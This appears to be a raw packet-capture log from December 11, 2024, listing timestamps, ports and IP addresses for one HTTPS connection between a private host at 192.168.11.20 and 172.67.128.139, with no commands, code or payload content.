Dec 11, 2024 12:44:37.116350889 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.116404057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.116404057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.116413116 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.116447926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.116951942 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.116965055 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.117149115 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.117149115 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.117162943 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.117202044 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.117285013 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.118174076 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.118185043 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.118308067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.118321896 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.118396997 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.118396997 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.118472099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.119829893 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.119842052 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.119959116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.119959116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.120085001 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.120093107 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.120106936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.120681047 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.120696068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.120815039 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.120815039 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.120827913 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.120919943 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.120969057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.122373104 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.122386932 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.122520924 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.122520924 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.122565985 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.122565985 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.122576952 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.122615099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.122688055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.123301029 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.123315096 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.123470068 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.123470068 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.123482943 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.123518944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.123615026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.124948025 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.124959946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.125102043 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.125102043 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.125153065 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.125200987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.125200987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.125210047 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.125225067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.126070976 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.126085043 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.126213074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.126213074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.126229048 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.126257896 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.126257896 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.126367092 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.127698898 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.127711058 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.127928019 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.127937078 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.128004074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.128129005 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.128289938 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.128298044 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.128341913 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.148859024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.255449057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.301799059 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.301817894 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.302314997 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.302328110 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.302421093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.302517891 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.302577972 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.302598000 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.302782059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.302874088 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.302886009 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.302892923 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.303067923 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.304033995 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.304053068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.304258108 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.304258108 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.304271936 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.304279089 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.304356098 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.304481030 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.305049896 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.305068970 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.305275917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.305277109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.305290937 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.305299997 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.305484056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.307612896 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.307630062 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.307811022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.307811022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.307867050 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.307878971 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.307964087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.308137894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.308435917 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.308453083 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.308629990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.308629990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.308691978 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.308703899 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.308783054 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.308860064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.309664965 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.309683084 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.310019016 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.310019016 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.310025930 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.310089111 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.310148001 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.310265064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.310370922 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.310386896 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.310523987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.310575962 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.310580015 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.310645103 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.310733080 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.312236071 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.312251091 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.312410116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.312526941 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.312530041 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.312706947 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.313008070 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.313024044 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.313188076 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.313188076 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.313235044 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.313241959 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.313348055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.313400984 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.314102888 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.314116001 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.314279079 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.314279079 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.314294100 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.314300060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.314344883 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.314392090 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.314491987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.315210104 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.315222979 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.315468073 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.315512896 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.315516949 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.315566063 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.315704107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.316736937 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.316751957 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.316972971 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.317045927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.317096949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.317096949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.317101955 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.317208052 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.317259073 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.317748070 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.317759037 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.317923069 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.318053007 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.318058014 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.318259954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.318605900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.318757057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.318761110 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.318829060 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.318840981 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.318937063 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.319818020 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.319833040 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.320056915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.320056915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.320070028 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.320144892 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.320216894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.320216894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.320313931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.320698977 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.320715904 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.320900917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.320966959 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.320966959 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.321070910 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.321074963 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.322345972 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.322361946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.322474957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.322479010 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.322546005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.322546005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.322618961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.322618961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.322618961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.323234081 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.323250055 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.323355913 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.323434114 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.323434114 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.323503017 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.323503017 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.323503017 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.323515892 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.324376106 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.324389935 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.324502945 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.324507952 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.324580908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.324580908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.324711084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.325550079 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.325562954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.325695038 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.325754881 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.325754881 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.325804949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.325804949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.325813055 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.325824976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.326922894 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.326940060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.327148914 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.327148914 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.327162027 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.327171087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.327250004 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.327966928 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.327980042 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.328123093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.328123093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.328135967 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.328222990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.328222990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.328269958 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.329068899 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.329082012 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.329180002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.329227924 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.329281092 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.329281092 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.329286098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.329327106 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.329327106 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.330002069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.330018997 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.330132008 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.330137968 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.330178022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.330178022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.330229998 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.330277920 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.330327988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.331687927 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.331700087 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.331805944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.331854105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.331854105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.331906080 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.331909895 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.331952095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.331953049 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.332879066 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.332894087 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.332998037 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.333002090 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.333044052 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.333092928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.333092928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.333146095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.333190918 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.333764076 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.333779097 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.333885908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.333941936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.333945036 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.333993912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.334084034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.335247993 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.335266113 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.335422993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.335422993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.335427046 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.335505962 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.335519075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.335519075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.335612059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.336236954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.336251974 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.336396933 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.336396933 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.336448908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.336456060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.336491108 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.336514950 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.336566925 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.337418079 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.337434053 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.337527990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.337532043 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.337579966 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.337579966 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.337626934 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.337626934 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.337723970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.338339090 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.338351011 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.338540077 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.338620901 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.338685036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.338685036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.338697910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.338753939 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.338803053 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.339848995 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.339865923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.339983940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.339987040 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.340065956 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.340066910 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.340142012 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.340871096 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.340883970 CET	443	49757	172.67.128.139	192.168.11.20
